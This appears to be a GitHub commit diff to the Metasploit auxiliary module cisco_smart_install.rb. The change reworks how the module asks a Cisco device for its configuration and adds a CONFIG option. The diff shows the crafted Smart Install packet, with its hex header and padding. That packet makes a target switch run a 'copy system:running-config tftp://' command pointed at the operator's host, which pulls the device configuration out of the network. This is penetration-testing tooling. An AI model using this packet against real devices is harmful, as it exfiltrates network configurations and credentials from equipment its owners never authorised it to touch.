Skip to content

Commit bdc822c

Browse files
committed
Improve logging when requesting config
1 parent 5a358db commit bdc822c

File tree

1 file changed

+7
-7
lines changed

1 file changed

+7
-7
lines changed

modules/auxiliary/scanner/misc/cisco_smart_install.rb

Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -42,7 +42,8 @@ def initialize(info = {})
4242
[
4343
Opt::RPORT(4786),
4444
OptAddressLocal.new('LHOST', [ false, "The IP address of the system running this module" ]),
45-
OptInt.new('SLEEP', [ true, "Time to wait for config to come back", 10])
45+
OptInt.new('SLEEP', [ true, "Time to wait for config to come back", 10]),
46+
OptString.new('CONFIG', [ true, "The source config to copy when using DOWNLOAD", "system:running-config" ])
4647
]
4748
)
4849
end
@@ -111,16 +112,15 @@ def decode_hex(string)
111112
string.scan(/../).map { |x| x.hex }.pack('c*')
112113
end
113114

114-
def send_packet
115-
copy_config = "copy system:running-config tftp://#{@lhost}/#{Rex::Text.rand_text_alpha(8)}"
115+
def request_config(tftp_server, config)
116+
copy_config = "copy #{config} tftp://#{tftp_server}/#{Rex::Text.rand_text_alpha(8)}"
116117
packet_header = '00000001000000010000000800000408000100140000000100000000fc99473786600000000303f4'
117118
packet = (decode_hex(packet_header) + copy_config + decode_hex(('00' * (336 - copy_config.length)))) + (decode_hex(('00' * (336)))) + (decode_hex(('00' * 336)))
118-
print_status("Requesting configuration from device...")
119+
print_status("Attempting #{copy_config}")
119120
sock.put(packet)
120121
end
121122

122123
def run_host(ip)
123-
@lhost = datastore['LHOST'] || Rex::Socket.source_address(ip)
124124
begin
125125
case
126126
when action.name == 'SCAN'
@@ -132,8 +132,8 @@ def run_host(ip)
132132
return unless smi?
133133
disconnect # cant send any additional packets, so closing
134134
connect
135-
print_status("Requesting configuration from device...")
136-
send_packet
135+
tftp_server = datastore['LHOST'] || Rex::Socket.source_address(ip)
136+
request_config(tftp_server, datastore['CONFIG'])
137137
print_status("Waiting #{datastore['SLEEP']} seconds for configuration")
138138
Rex.sleep(datastore['SLEEP'])
139139
end

0 commit comments

Comments
 (0)